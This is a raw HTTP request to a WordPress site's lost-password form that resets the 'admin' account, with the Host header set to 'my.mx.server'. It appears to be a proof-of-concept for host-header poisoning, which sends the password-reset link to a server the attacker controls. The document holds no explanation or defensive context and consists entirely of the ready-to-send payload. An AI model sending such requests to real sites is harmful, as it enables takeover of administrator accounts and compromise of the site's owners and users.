POST /wp-login.php?action=lostpassword HTTP/1.1
Host: my.mx.server
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Content-Type: application/x-www-form-urlencoded
Content-Length: 56
Cookie: wordpress_test_cookie=WP+Cookie+check
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

user_login=admin&redirect_to=&wp-submit=Get+New+Password